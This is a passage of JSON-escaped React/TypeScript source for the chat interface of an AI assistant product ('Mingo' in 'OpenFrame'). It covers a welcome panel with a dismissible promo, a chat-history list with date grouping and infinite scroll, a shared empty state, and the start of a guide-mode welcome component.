title ?? \"Hey, I'm Mingo\";\n\n  // `promo` omitted → fall back to the OpenFrame default, but only when guide\n  // mode exists to advertise (otherwise the notification points nowhere).\n  // Returning users (`hasExistingChats`) never see the onboarding notification.\n  const resolvedPromo = hasExistingChats\n    ? null\n    : promo === undefined\n      ? onStartGuideChat\n        ? DEFAULT_PROMO\n        : null\n      : promo;\n\n  // One-time notification: hydrate the dismissal from storage after mount\n  // (SSR-safe — `window` is untouched on the server). Default to \"not\n  // dismissed\" so the first paint shows it, then hide if storage says so.\n  // Derived rather than published from an effect. The storage read is the ONLY\n  // client-only part, and `useIsHydrated` is that gate stated directly: the\n  // first paint (server + hydration) still shows the notification, and it is\n  // gone in the very next render instead of costing a second render pass —\n  // which is also one fewer frame in which a returning user sees a notification\n  // they dismissed long ago.\n  const hydrated = useIsHydrated();\n  const [dismissedThisSession, setPromoDismissed] = useState(false);\n  const storedDismissed = useMemo(() => {\n    if (!hydrated || !resolvedPromo) return false;\n    try {\n      const store = promoStorage === 'session' ? window.sessionStorage : window.localStorage;\n      return store.getItem(promoStorageKey) === '1';\n    } catch {\n      // Storage can throw (private mode, blocked cookies) — treat as\n      // \"not dismissed\" and simply keep showing the notification.\n      return false;\n    }\n  }, [hydrated, resolvedPromo, promoStorage, promoStorageKey]);\n  const promoDismissed = dismissedThisSession || storedDismissed;\n\n  const dismissPromo = useCallback(() => {\n    setPromoDismissed(true);\n    try {\n      const store = promoStorage === 'session' ? window.sessionStorage : window.localStorage;\n      store.setItem(promoStorageKey, '1');\n    } catch {\n      // Best-effort persistence; the in-memory state still hides it for\n      // the rest of this session.\n    }\n  }, [promoStorage, promoStorageKey]);\n\n  // Scroll-fade affordances — shared ui/scroll-fade (48px edge gradients shown\n  // only while content is hidden in that direction).\n  const { scrollRef, fadeTop, fadeBottom, update: updateScrollFade } = useScrollFade<HTMLDivElement>();\n\n  // While we don't yet know whether the user is new or returning (first page\n  // loading, or it errored with nothing cached), suppress the pinned region —\n  // the \"New to OpenFrame?\" promo + quick-action chips. Showing them over the\n  // history skeleton both clutters the loading frame and pre-judges the user as\n  // new. They return once a resolved state (history, or the new-user greeting)\n  // renders. `dialogHistory` always wins — a returning user keeps the chips.\n  const showPinnedRegion = !!dialogHistory || (!isLoadingHistory && !loadError);\n\n  return (\n    <div\n      className={cn(\n        // `@container` makes the panel itself the responsive context (the\n        // drawer width ≠ viewport width) so the notification's down-arrow can\n        // appear only once the panel is genuinely wide.\n        'flex min-h-0 flex-1 flex-col gap-[var(--spacing-system-m)] @container',\n        className,\n      )}\n    >\n      {/* Returning users see their dialog history (its own scroll region) in\n          place of the greeting + grid. Precedence: load error (retry) → first-\n          page loading (skeleton) → new-user greeting+grid. The error branch\n          stops a failed fetch from masquerading as \"no chats\" (which would\n          otherwise show the Guide promo). */}\n      {dialogHistory ??\n        (loadError ? (\n          <div className=\"flex min-h-0 flex-1 flex-col items-center justify-center gap-[var(--spacing-system-m)] text-center\">\n            <AlertCircleIcon className=\"h-8 w-8 shrink-0 text-ods-text-secondary\" />\n            <div className=\"flex flex-col gap-[var(--spacing-system-xxs)]\">\n              <p className=\"text-ods-text-primary text-h4\">Couldn’t load your chats</p>\n              <p className=\"text-body-sm text-ods-text-secondary\">\n                Something went wrong reaching the server. Check your connection and try again.\n              </p>\n            </div>\n            {onRetry && (\n              <Button variant=\"outline\" size=\"small\" leftIcon={<Refresh01RightIcon />} onClick={onRetry}>\n                Try again\n              </Button>\n            )}\n          </div>\n        ) : isLoadingHistory ? (\n          <MingoChatHistorySkeleton />\n        ) : (\n          <>\n            {/* Scrollable region — only the greeting + grid scroll; the notification\n          and chips below stay pinned so they're always visible above the\n          input. The wrapper is `relative` so the scroll-fade gradients can\n          overlay the top/bottom edges. */}\n            <div className=\"relative flex min-h-0 flex-1 flex-col\">\n              <div\n                ref={scrollRef}\n                onScroll={updateScrollFade}\n                className=\"flex min-h-0 flex-1 flex-col gap-[var(--spacing-system-m)] overflow-y-auto overscroll-contain\"\n              >\n                {/* Greeting — grows to fill (`flex-1`) so it centres vertically,\n            keeping the grid anchored at the bottom of the scroll area. Default\n            `min-height: auto` (no `min-h-0`) stops it shrinking below its own\n            content, so the region scrolls instead of the greeting overlapping\n            the grid. Padding is modest so it never dominates the narrow panel. */}\n                <div className=\"flex flex-1 flex-col items-center justify-center gap-[var(--spacing-system-l)] px-[var(--spacing-system-l)] py-[var(--spacing-system-xxl)] text-center\">\n                  <MingoIcon\n                    className=\"h-12 w-12\"\n                    color=\"white\"\n                    eyesColor=\"var(--ods-flamingo-cyan-base)\"\n                    cornerColor=\"var(--ods-flamingo-cyan-base)\"\n                  />\n                  <div className=\"flex w-full flex-col gap-[var(--spacing-system-l)]\">\n                    <p className=\"text-ods-text-primary text-h2\">{heading}</p>\n                    <p className=\"text-ods-text-secondary text-h4\">{subtitle}</p>\n                  </div>\n                </div>\n              </div>\n\n              {/* Edge scroll-fades — visible only when content is hidden beyond them.\n          Fade into the panel's dark `ods-bg` surface (the default color), matching\n          the black Mingo welcome background (node 113:69208). */}\n              <ScrollFadeOverlay edge=\"top\" visible={fadeTop} className=\"h-12\" />\n              <ScrollFadeOverlay edge=\"bottom\" visible={fadeBottom} className=\"h-12\" />\n            </div>\n          </>\n        ))}\n\n      {/* Pinned region — visible above the input once the new/returning-user\n          state is known (hidden during first-page load / error). */}\n      {showPinnedRegion && (\n        <div className=\"flex shrink-0 flex-col gap-[var(--spacing-system-m)]\">\n          {/* \"New to OpenFrame?\" — a one-time informational notification (no\n          action). The leading down-arrow (Figma node 7532:317130) only shows\n          once the panel is wide (`@2xl`), mirroring the responsive design. The\n          dismiss \"X\" persists to local/session storage via `dismissPromo`, so\n          once closed it stays hidden. The actual Guide entry point is the\n          \"Start Guide Chat\" chip below. */}\n          {resolvedPromo && !promoDismissed && (\n            <div className=\"relative flex shrink-0 items-center gap-[var(--spacing-system-m)] rounded-md border border-ods-border bg-ods-bg p-[var(--spacing-system-m)] pr-[var(--spacing-system-xl)]\">\n              <span className=\"hidden size-4 shrink-0 items-center justify-center text-ods-text-primary @2xl:flex\">\n                <Arrow01DownIcon size={16} />\n              </span>\n              <div className=\"flex min-w-0 flex-col items-start gap-1\">\n                <span className=\"text-ods-text-primary text-h3\">{resolvedPromo.title}</span>\n                <span className=\"text-ods-text-secondary text-h6\">{resolvedPromo.description}</span>\n              </div>\n              {/* Plain cross — no button chrome, just a clickable icon. */}\n              <button\n                type=\"button\"\n                onClick={dismissPromo}\n                aria-label=\"Dismiss\"\n                className=\"absolute right-2 top-2 rounded-sm text-ods-text-secondary transition-colors hover:text-ods-text-primary focus:outline-none focus-visible:ring-2 focus-visible:ring-ods-accent\"\n              >\n                <XmarkIcon size={16} />\n              </button>\n            </div>\n          )}\n\n          {/* Quick actions. \"Start Guide Chat\" stays pinned above the wall — it's\n          the primary mode switch and must never scroll out of reach. The rest\n          render in the shared {@link QuickActionWall} in BRICK mode (the SAME\n          chip wall the website hero uses): 2 stacked row marquees under left/\n          right edge fades, so a long agent action set gets \"reach\" without\n          squeezing the composer. `pauseOnHover` freezes the hovered row so a\n          moving chip never dodges a click; hover/focus previews the action's\n          full prompt in the composer. */}\n          {(onStartGuideChat || (quickActions && quickActions.length > 0)) && (\n            <div className=\"flex shrink-0 flex-col gap-[var(--spacing-system-xsf)]\">\n              {onStartGuideChat && (\n                <QuickActionChipButton\n                  label=\"Start Guide Chat\"\n                  icon={<CompassIcon size={16} />}\n                  variant={hasExistingChats ? 'outline' : 'primary'}\n                  onSelect={onStartGuideChat}\n                  className=\"self-start\"\n                />\n              )}\n              {quickActions && quickActions.length > 0 && (\n                <QuickActionWall\n                  chips={quickActions.map(action => ({\n                    id: action.id,\n                    label: action.label,\n                    icon: action.icon,\n                    variant: action.variant,\n                    onSelect: action.onClick,\n                    onHoverStart: () => onQuickActionHover?.(action),\n                    onHoverEnd: () => onQuickActionHoverEnd?.(),\n                  }))}\n                  agentSlug={agentSlug}\n                  rows={4}\n                  pauseOnHover\n                  dragScroll\n                  fade={['left', 'right']}\n                  fadeSize={{ left: 32 }}\n                  fadeColor=\"var(--color-bg)\"\n                  copyGap=\"var(--spacing-system-xxs)\"\n                  className=\"max-h-44 shrink-0\"\n                />\n              )}\n            </div>\n          )}\n        </div>\n      )}\n    </div>\n  );\n}\n","'use client';\n\nimport { useState, useMemo, useRef, useEffect } from 'react';\nimport { cn } from '../../utils/cn';\nimport { Ellipsis01Icon, SearchXmarkIcon } from '../icons-v2-generated';\nimport { ActionsMenuDropdown, type ActionsMenuItem } from '../ui/actions-menu';\nimport { Button } from '../ui/button';\nimport { ScrollFadeOverlay, useScrollFade } from '../ui/scroll-fade';\nimport { SquareAvatar } from '../ui/square-avatar';\nimport { ChatListEmptyState } from './chat-list-empty-state';\nimport type { DialogItem } from './types/component.types';\n\n// =============================================================================\n// Types\n// =============================================================================\n\nexport interface MingoChatHistoryProps {\n  /** Dialogs to list, assumed already sorted newest-first by the host. */\n  dialogs: ReadonlyArray<DialogItem>;\n  /** Currently-open dialog id (highlighted). */\n  activeDialogId?: string;\n  /** Open a dialog. */\n  onSelectDialog?: (id: string) => void;\n  /** Request rename — enables the row \"Rename chat\" action. The host opens\n   *  the Rename modal; the list does no inline editing. */\n  onRequestRename?: (dialog: DialogItem) => void;\n  /** Request archive — enables the row \"Archive chat\" action. The host opens\n   *  the Archive confirmation modal. */\n  onRequestArchive?: (dialog: DialogItem) => void;\n  /** Request a shareable link — enables the row \"Copy chat link\" action. The host\n   *  owns the URL shape and the copy itself (the list knows neither the app's\n   *  routes nor whether a clipboard is available). */\n  onRequestCopyLink?: (dialog: DialogItem) => void;\n  /** Current server-side search term. Drives the \"No chats found\" empty state;\n   *  the search INPUT lives in the panel header, not in this list. The host\n   *  owns the term and refetches server-side — the list does no filtering. */\n  searchQuery?: string;\n  /** Whether more dialogs remain (cursor pagination). */\n  hasMore?: boolean;\n  /** True while the next page is loading. */\n  isLoadingMore?: boolean;\n  /** Fetch the next page — fired when the bottom sentinel scrolls into view. */\n  onLoadMore?: () => void;\n  /** Appended to the root element. */\n  className?: string;\n}\n\ninterface DialogGroup {\n  key: string;\n  label: string;\n  items: DialogItem[];\n}\n\n// =============================================================================\n// Date grouping — Today / Yesterday / Older\n// =============================================================================\n\nfunction dialogTime(d: DialogItem): number | null {\n  if (!d.timestamp) return null;\n  const t = typeof d.timestamp === 'string' ? Date.parse(d.timestamp) : d.timestamp.getTime();\n  return Number.isNaN(t) ? null : t;\n}\n\nfunction groupDialogs(dialogs: ReadonlyArray<DialogItem>): DialogGroup[] {\n  const now = new Date();\n  const startOfToday = new Date(now.getFullYear(), now.getMonth(), now.getDate()).getTime();\n  const startOfYesterday = startOfToday - 24 * 60 * 60 * 1000;\n\n  const today: DialogItem[] = [];\n  const yesterday: DialogItem[] = [];\n  const older: DialogItem[] = [];\n  for (const d of dialogs) {\n    const t = dialogTime(d);\n    if (t !== null && t >= startOfToday) today.push(d);\n    else if (t !== null && t >= startOfYesterday) yesterday.push(d);\n    else older.push(d); // includes timestamp-less dialogs\n  }\n\n  return [\n    { key: 'today', label: 'Today', items: today },\n    { key: 'yesterday', label: 'Yesterday', items: yesterday },\n    { key: 'older', label: 'Older', items: older },\n  ].filter(g => g.items.length > 0);\n}\n\n// =============================================================================\n// Row\n// =============================================================================\n\ninterface RowProps {\n  dialog: DialogItem;\n  isActive: boolean;\n  onSelect?: (id: string) => void;\n  onRequestRename?: (dialog: DialogItem) => void;\n  onRequestCopyLink?: (dialog: DialogItem) => void;\n  onRequestArchive?: (dialog: DialogItem) => void;\n}\n\nfunction MingoChatHistoryRow({\n  dialog,\n  isActive,\n  onSelect,\n  onRequestCopyLink,\n  onRequestRename,\n  onRequestArchive,\n}: RowProps) {\n  const title = dialog.title || 'Untitled Chat';\n  const unread = dialog.unreadMessagesCount ?? 0;\n  const hasMenu = !!onRequestRename || !!onRequestArchive || !!onRequestCopyLink;\n  const owner = dialog.owner;\n  const hasAvatar = !!(owner?.name || owner?.avatarUrl);\n  // Keep the `⋯` visible while its menu is open — once Radix moves focus into\n  // the portalled content the row loses hover/focus-within.\n  const [menuOpen, setMenuOpen] = useState(false);\n\n  const menuItems = [\n    onRequestCopyLink && {\n      id: 'copy-link',\n      label: 'Copy chat link',\n      onClick: () => onRequestCopyLink(dialog),\n    },\n    onRequestRename && {\n      id: 'rename',\n      label: 'Rename chat',\n      onClick: () => onRequestRename(dialog),\n    },\n    onRequestArchive && {\n      id: 'archive',\n      label: 'Archive chat',\n      onClick: () => onRequestArchive(dialog),\n    },\n  ].filter(Boolean) as ActionsMenuItem[];\n\n  // The item is the full-width row (inside the group's bordered box). Padding\n  // lives on the inner content button (badge + title) only — the `⋯` is a\n  // SIBLING of that padded content, so it sits at the item's right edge, inside\n  // the item but outside its padded content area.\n  return (\n    <div\n      className={cn(\n        'group/row relative flex h-12 items-center border-b border-ods-border transition-colors last:border-b-0',\n        // Active (selected) dialog — Figma 259:91610: an accent-secondary\n        // fill, a 4px accent bar down the leading edge, and accent-colored\n        // title text. Inactive rows keep the dark surface with a hover tint.\n        isActive ? 'bg-ods-accent-secondary' : 'bg-ods-bg hover:bg-ods-bg-hover',\n      )}\n    >\n      {isActive ? (\n        <span aria-hidden className=\"pointer-events-none absolute inset-y-0 left-0 w-1 bg-ods-accent\" />\n      ) : null}\n      <div\n        role=\"button\"\n        tabIndex={0}\n        onClick={() => onSelect?.(dialog.id)}\n        onKeyDown={e => {\n          if (e.key === 'Enter' || e.key === ' ') {\n            e.preventDefault();\n            onSelect?.(dialog.id);\n          }\n        }}\n        className=\"flex min-w-0 flex-1 cursor-pointer items-center gap-[var(--spacing-system-xsf)] p-[var(--spacing-system-s)] focus:outline-none focus-visible:ring-2 focus-visible:ring-inset focus-visible:ring-ods-accent\"\n      >\n        {unread > 0 ? (\n          <span className=\"flex h-8 min-w-8 shrink-0 items-center justify-center rounded-md bg-ods-accent px-[var(--spacing-system-xsf)] text-ods-text-on-accent text-h5\">\n            {unread > 99 ? '99+' : unread}\n          </span>\n        ) : null}\n        <span\n          className={cn('min-w-0 flex-1 truncate text-h4', isActive ? 'text-ods-accent' : 'text-ods-text-primary')}\n          title={title}\n        >\n          {title}\n        </span>\n      </div>\n      {hasMenu || hasAvatar ? (\n        // Trailing 48px cell (Figma 113:63224): the owner avatar sits centred\n        // by default; hovering the row (or opening the menu) swaps it for the\n        // `⋯` actions button IN PLACE, so the title never reflows. Without an\n        // avatar the cell exists only for the hover menu, so it collapses on\n        // mobile exactly like the old hover-only gutter (no hover on touch).\n        <span className={cn('relative w-12 shrink-0 self-stretch', !hasAvatar && 'max-md:hidden')}>\n          {hasMenu ? (\n            // Revealed on row hover/its own focus; kept visible while the menu\n            // is open. Hidden on mobile — it's a hover affordance. `peer/menu`\n            // so the avatar layer (a later sibling) can fade when the trigger\n            // holds keyboard focus.\n            <span\n              onClick={e => e.stopPropagation()}\n              className={cn(\n                'peer/menu absolute inset-0 transition-opacity max-md:hidden',\n                menuOpen ? 'opacity-100' : 'opacity-0 focus-within:opacity-100 group-hover/row:opacity-100',\n              )}\n            >\n              <ActionsMenuDropdown\n                triggerAriaLabel=\"Chat actions\"\n                groups={[{ items: menuItems }]}\n                open={menuOpen}\n                onOpenChange={setMenuOpen}\n                // Don't return focus (and its ring) to the `⋯` trigger on close.\n                onCloseAutoFocus={e => e.preventDefault()}\n                customTrigger={\n                  <Button\n                    variant=\"transparent\"\n                    size=\"icon\"\n                    aria-label=\"Chat actions\"\n                    // Square, grey icon → white on hover. `h-full`/`w-full` fill\n                    // the 48px cell exactly (no breakpoint poke from\n                    // `size=\"icon\"`'s responsive `md:h-12`); `p-0` drops the\n                    // icon-size padding. tailwind-merge so these win over\n                    // defaults.\n                    className=\"h-full w-full rounded-none p-0 text-ods-text-secondary hover:text-ods-text-primary md:h-full\"\n                  >\n                    <Ellipsis01Icon />\n                  </Button>\n                }\n              />\n            </span>\n          ) : null}\n          {hasAvatar ? (\n            // Avatar layer — clicks fall through to row selection (it covers\n            // the cell whenever the menu trigger is faded out). On desktop it\n            // fades for the menu swap; on mobile it's always shown.\n            <span\n              onClick={() => onSelect?.(dialog.id)}\n              title={owner?.name || undefined}\n              className={cn(\n                'absolute inset-0 flex cursor-pointer items-center justify-center transition-opacity',\n                hasMenu &&\n                  (menuOpen\n                    ? 'pointer-events-none opacity-0'\n                    : 'md:group-hover/row:pointer-events-none md:group-hover/row:opacity-0 md:peer-[:focus-within]/menu:pointer-events-none md:peer-[:focus-within]/menu:opacity-0'),\n              )}\n            >\n              <SquareAvatar\n                variant=\"round\"\n                sizePx={24}\n                src={owner?.avatarUrl || undefined}\n                alt={owner?.name || undefined}\n                fallback={owner?.name || undefined}\n                initialsClassName=\"text-[10px] text-ods-text-secondary\"\n              />\n            </span>\n          ) : null}\n        </span>\n      ) : null}\n    </div>\n  );\n}\n\n// =============================================================================\n// Skeleton\n// =============================================================================\n\n/**\n * Loading placeholder for the dialog history, shaped like the grouped row list\n * above. Shown while the FIRST page of dialogs is in flight so the Mingo empty\n * state doesn't flash the new-user greeting+grid before the list arrives (the\n * two layouts are mutually exclusive — swapping between them mid-load reads as\n * a flicker). Pure ODS tokens, `animate-pulse`.\n */\nexport function MingoChatHistorySkeleton({ className }: { className?: string }) {\n  // Mirror the real grouped list exactly: a small group label, then a bordered\n  // rounded container of `h-12` rows, each with a single title bar of varying\n  // width (no unread-badge squares — the real rows currently never show one, so\n  // a badge placeholder would mis-promise the layout). `bg-ods-border` matches\n  // the kit's canonical `Skeleton` placeholder colour; `bg-ods-bg` rows read a\n  // touch darker than the `bg-ods-card` panel so the bars stay legible.\n  const groups: ReadonlyArray<ReadonlyArray<string>> = [\n    ['w-3/5', 'w-4/5', 'w-2/5', 'w-3/4'],\n    ['w-1/2', 'w-2/3'],\n  ];\n  return (\n    <div\n      aria-hidden\n      // `overflow-hidden` clips the placeholder rows to the flex-1 box (the real\n      // list scrolls; the skeleton just needs to stay within bounds).\n      className={cn('flex min-h-0 flex-1 flex-col gap-[var(--spacing-system-m)] overflow-hidden', className)}\n    >\n      {groups.map((widths, g) => (\n        <div key={g} className=\"flex shrink-0 flex-col gap-[var(--spacing-system-xxs)]\">\n          {/* Group label (Today / Older). */}\n          <div className=\"h-3 w-16 animate-pulse rounded bg-ods-border\" />\n          <div className=\"overflow-hidden rounded-md border border-ods-border\">\n            {widths.map((w, i) => (\n              <div\n                key={i}\n                className=\"flex h-12 items-center border-b border-ods-border bg-ods-bg px-[var(--spacing-system-s)] last:border-b-0\"\n              >\n                <div className={cn('h-4 animate-pulse rounded bg-ods-border', w)} />\n              </div>\n            ))}\n          </div>\n        </div>\n      ))}\n    </div>\n  );\n}\n\n// =============================================================================\n// Component\n// =============================================================================\n\n/**\n * MingoChatHistory — Figma node `7532:223950`.\n *\n * The returning-user variation of the Mingo empty state: the dialog history\n * rendered inline in the main panel, grouped into Today / Yesterday / Older\n * sections. Each row shows an optional unread badge, the title, and a `⋯`\n * menu (Rename / Archive — each gated on the matching handler and surfaced as\n * a request the host fulfils via a modal). Owns its own scroll + bottom/top\n * fade and an infinite-scroll\n * sentinel that fires `onLoadMore`.\n */\nexport function MingoChatHistory({\n  dialogs,\n  activeDialogId,\n  onSelectDialog,\n  onRequestCopyLink,\n  onRequestRename,\n  onRequestArchive,\n  searchQuery,\n  hasMore = false,\n  isLoadingMore = false,\n  onLoadMore,\n  className,\n}: MingoChatHistoryProps) {\n  const groups = useMemo(() => groupDialogs(dialogs), [dialogs]);\n  const noSearchResults = groups.length === 0 && !!searchQuery?.trim();\n\n  // Scroll-fade affordances — shared ui/scroll-fade (re-measures on resize\n  // and content mutations, so no manual `dialogs` dependency is needed).\n  const { scrollRef, fadeTop, fadeBottom, update: updateFade } = useScrollFade<HTMLDivElement>();\n\n  // Infinite scroll — load the next page when the sentinel enters the\n  // scroll viewport.\n  const sentinelRef = useRef<HTMLDivElement>(null);\n  // Refreshed in an unconditional effect, declared before the observer effect\n  // so it wins the same flush. Not in the render body: the only reader is the\n  // IntersectionObserver callback, which cannot fire before a commit, and a\n  // discarded render attempt must not install a loading flag that never was.\n  const onLoadMoreRef = useRef(onLoadMore);\n  const isLoadingMoreRef = useRef(isLoadingMore);\n  useEffect(() => {\n    onLoadMoreRef.current = onLoadMore;\n    isLoadingMoreRef.current = isLoadingMore;\n  });\n  const dialogCount = dialogs.length;\n  useEffect(() => {\n    const root = scrollRef.current;\n    const sentinel = sentinelRef.current;\n    if (!root || !sentinel || !hasMore || typeof IntersectionObserver === 'undefined') return undefined;\n    const io = new IntersectionObserver(\n      ([entry]) => {\n        if (entry.isIntersecting && !isLoadingMoreRef.current) {\n          onLoadMoreRef.current?.();\n        }\n      },\n      { root, rootMargin: '120px', threshold: 0.1 },\n    );\n    io.observe(sentinel);\n    return () => io.disconnect();\n    // `dialogCount`/`isLoadingMore` deps re-arm the observer after every page\n    // lands: `observe()` re-reports the CURRENT intersection, so a sentinel\n    // that stays in view (short host-filtered list — e.g. the \"My Chats\"\n    // scope keeps a handful of rows out of a 20-row page) keeps chaining\n    // loads until the viewport fills or `hasMore` flips. A continuously\n    // visible sentinel never re-crosses the threshold, so the previous\n    // [hasMore]-only observer fired exactly once per mount and the list\n    // grew by a single page per drawer open.\n  }, [hasMore, isLoadingMore, dialogCount, scrollRef]);\n\n  return (\n    <div className={cn('relative flex min-h-0 flex-1 flex-col gap-[var(--spacing-system-m)]', className)}>\n      {/* Scroll region — the search INPUT now lives in the panel header\n          (Figma 116:51217), so the list is just the grouped rows + fades. */}\n      <div className=\"relative flex min-h-0 flex-1 flex-col\">\n        <div\n          ref={scrollRef}\n          onScroll={updateFade}\n          className=\"flex min-h-0 flex-1 flex-col gap-[var(--spacing-system-m)] overflow-y-auto overscroll-contain\"\n        >\n          {noSearchResults ? (\n            // No search matches — same centred glyph + title + caption layout as\n            // the other chat-list empty states (Figma 113:60939).\n            <ChatListEmptyState\n              icon={<SearchXmarkIcon size={24} />}\n              title=\"No Chats Found\"\n              description=\"Try a different search term\"\n            />\n          ) : (\n            groups.map(group => (\n              <div key={group.key} className=\"flex flex-col gap-[var(--spacing-system-xxs)]\">\n                <p className=\"text-ods-text-secondary text-h5\">{group.label}</p>\n                <div className=\"overflow-hidden rounded-md border border-ods-border\">\n                  {group.items.map(dialog => (\n                    <MingoChatHistoryRow\n                      key={dialog.id}\n                      dialog={dialog}\n                      isActive={dialog.id === activeDialogId}\n                      onSelect={onSelectDialog}\n                      onRequestCopyLink={onRequestCopyLink}\n                      onRequestRename={onRequestRename}\n                      onRequestArchive={onRequestArchive}\n                    />\n                  ))}\n                </div>\n              </div>\n            ))\n          )}\n          {hasMore ? <div ref={sentinelRef} className=\"h-px shrink-0\" /> : null}\n        </div>\n\n        {/* Scroll-fade — only while content is hidden in that direction. */}\n        <ScrollFadeOverlay edge=\"top\" visible={fadeTop} color=\"var(--color-bg-card)\" className=\"h-12\" />\n        <ScrollFadeOverlay edge=\"bottom\" visible={fadeBottom} color=\"var(--color-bg-card)\" className=\"h-12\" />\n      </div>\n    </div>\n  );\n}\n","'use client';\n\nimport type { ReactNode } from 'react';\nimport { cn } from '../../utils/cn';\n\nexport interface ChatListEmptyStateProps {\n  /** Centred 24px glyph — rendered muted (`ods-text-secondary`). Pass the icon\n   *  already sized (e.g. `<ChatsIcon size={24} />`). */\n  icon: ReactNode;\n  /** Title line (`h4`). */\n  title: ReactNode;\n  /** Caption line under the title (`h6`). Omitted → title alone. */\n  description?: ReactNode;\n  /** Appended to the root element. */\n  className?: string;\n}\n\n/**\n * Shared empty state for the chat-list surfaces — the \"Current Chats\" rail and\n * the Chat Archive page (Figma node 113:60939). A centred 24px muted glyph over\n * a title (`h4`) + caption (`h6`), both in `ods-text-secondary`. Kept in one\n * place so the two lists can't drift apart.\n */\nexport function ChatListEmptyState({ icon, title, description, className }: ChatListEmptyStateProps) {\n  return (\n    <div\n      className={cn(\n        'flex min-h-0 flex-1 flex-col items-center justify-center gap-[var(--spacing-system-l)] p-[var(--spacing-system-l)] text-center text-ods-text-secondary',\n        className,\n      )}\n    >\n      <span className=\"flex size-6 shrink-0 items-center justify-center\">{icon}</span>\n      <div className=\"flex flex-col\">\n        <p className=\"text-h4\">{title}</p>\n        {description && <p className=\"text-h6\">{description}</p>}\n      </div>\n    </div>\n  );\n}\n","'use client';\n\nimport { type ReactNode, useMemo } from 'react';\nimport { cn } from '../../utils/cn';\nimport { EntityIcon } from '../icon-display';\nimport { MingoIcon } from '../icons';\nimport { ScrollFadeOverlay, useScrollFade } from '../ui/scroll-fade';\nimport { Skeleton } from '../ui/skeleton';\nimport { accentFromIdentityIcon, type QuickActionAccent } from './quick-action-chip';\nimport { QuickActionWall } from './quick-action-wall';\n\n// =============================================================================\n// Types\n// =============================================================================\n\n/** A guide quick-action chip (e.g. \"How to start\"). */\nexport interface GuideQuickAction {\n  /** Stable React key. */\n  id: string;\n  /** Chip label. */\n  label: string;\n  /** Prompt text seeded into the composer on click. Defaults to `label`. */\n  prompt?: string;\n  /** Optional library-glyph name (resolved via the onboarding-icon registry). */\n  iconName?: string | null;\n  /** Optional uploaded image URL (wins over `iconName`). */\n  iconUrl?: string | null;\n  /** Optional props spread onto the resolved glyph. */\n  iconProps?: Record<string, unknown> | null;\n  /** Optional agent accent tint for the icon (fae→pink, mingo→cyan). */\n  accent?: QuickActionAccent;\n}\n\nexport interface GuideWelcomeProps {\n  /** Greeting heading. Defaults to \"Guide Mode Chat\". */\n  title?: ReactNode;\n  /** Optional identity icon (agent mode) — replaces the built-in Mingo mark as\n   *  the empty-state glyph. `{ name | url | props }` resolved via <EntityIcon>.\n   *  Omitted/empty → the default Mingo mark renders. */\n  icon?: { name?: string | null; url?: string | null; props?: Record<string, unknown> | null } | null;\n  /** Greeting sub-line. No built-in default — when omitted/empty the sub-line\n   *  is not rendered, so the empty state shows only the title. Set via the\n   *  admin `emptyStateGreeting` (or a host override). */\n  subtitle?: ReactNode;\n  /** While the admin greeting is still being fetched, render a one-line\n   *  subtitle skeleton instead of flashing empty → text. Ignored once a\n   *  `subtitle` is present. */\n  subtitleLoading?: boolean;\n  /** Quick-action chips — caller-provided; there are no built-in defaults, so\n   *  the chip row is omitted entirely unless the host supplies actions. ALL\n   *  chips render in a wrapping row (no \"⋯\" overflow collapse) so every action\n   *  is directly hoverable — hover/focus previews the action's full `prompt` in\n   *  the composer; click sends it. */\n  quickActions?: ReadonlyArray<GuideQuickAction>;\n  /** Fired when a quick-action chip is activated (click). */\n  onQuickAction?: (action: GuideQuickAction) => void;\n  /** Pointer/keyboard focus enters a quick-action chip — e.g. preview the\n   *  action's full `prompt` in the composer input. */\n  onQuickActionHover?: (action: GuideQuickAction) => void;\n  /** Pointer/keyboard focus leaves the chip — e.g. restore the composer. */\n  onQuickActionHoverEnd?: () => void;\n  /** Agent this empty state belongs to — forwarded to the quick-action\n   *  {@link QuickActionWall} so a built-in agent (`'fae'`/`'mingo'`) caps the\n   *  brick stack at 2 rows. Unset (host/guide mode) keeps the full `rows` cap. */\n  agentSlug?: string;\n  /** Slash-command onboarding list — rendered inside the shared scroll region\n   *  below the greeting (so greeting + list scroll together, with edge fades). */\n  children?: ReactNode;\n  className?: string;\n}\n\n// =============================================================================\n// Defaults (OpenFrame copy — overridable; the kit stays platform-agnostic)\n// =============================================================================\n\nconst DEFAULT_TITLE = 'Guide Mode Chat';\n\n// =============================================================================\n// Component\n// =============================================================================\n\n/**\n * GuideWelcome — Figma node `7532:328214`.\n *\n * Guide-mode chat empty state: a centred greeting and the slash-command\n * onboarding list share one scroll region (with top/bottom fade affordances),\n * and a pinned quick-action chip row sits above the composer. The first few\n * quick actions render as chips; the remainder collapse under a \"⋯\" menu.\n *\n * Mirrors `MingoWelcome` (the default-mode empty state) — content is\n * configurable with OpenFrame defaults.\n */\nexport function GuideWelcome({\n  title = DEFAULT_TITLE,\n  icon,\n  subtitle,\n  subtitleLoading = false,\n  quickActions = [],\n  onQuickAction,\n  onQuickActionHover,\n  onQuickActionHoverEnd,\n  agentSlug,\n  children,\n  className,\n}: GuideWelcomeProps) {\n  // Scroll-fade affordances: a 48px gradient at the top/bottom edge of the\n  // scroll region, shown only while content is actually hidden in that\n  // direction. (Same behaviour as MingoWelcome.)\n  const { scrollRef, fadeTop, fadeBottom, update: updateScrollFade } = useScrollFade<HTMLDivElement>();\n\n  // Map to the shared {@link QuickActionChip} shape consumed by the unified\n  // `QuickActionWall` — the SAME chip wall the website hero + deck render, so\n  // the chat's quick actions read as \"the work the agent does\". Every chip\n  // stays interactive (clone copies included); `onHoverStart`/`onHoverEnd` drive\n  // the composer prompt preview and `onSelect` sends.\n  const chipItems = useMemo(\n    () =>\n      quickActions.map(action => ({\n        id: action.id,\n        label: action.label,\n        // Declarative spec — the unified chip resolves it via <EntityIcon>.\n        // Chip icon accent, config first: per-action accent (host/agent\n        // resolution) → the admin-configured identity color on this surface's\n        // icon (`icon_props.color`) → cyan, the built-in Mingo-guide branding.\n        // An admin-set per-action `iconProps.color` still wins over any accent.\n        icon: {\n          name: action.iconName,\n          url: action.iconUrl,\n          props: action.iconProps,\n          accent: action.accent ?? accentFromIdentityIcon(icon) ?? 'cyan',\n        },\n        onSelect: () => onQuickAction?.(action),\n        onHoverStart: () => onQuickActionHover?.(action),\n        onHoverEnd: () => onQuickActionHoverEnd?.(),\n      })),\n    [quickActions, icon, onQuickAction, onQuickActionHover, onQuickActionHoverEnd],\n  );\n\n  return (\n    <div className={cn('flex min-h-0 flex-1 flex-col gap-[var(--spacing-system-m)]', className)}>\n      {/* Greeting + slash-command list share one scroll region; `relative` so\n          the edge fades can overlay it. 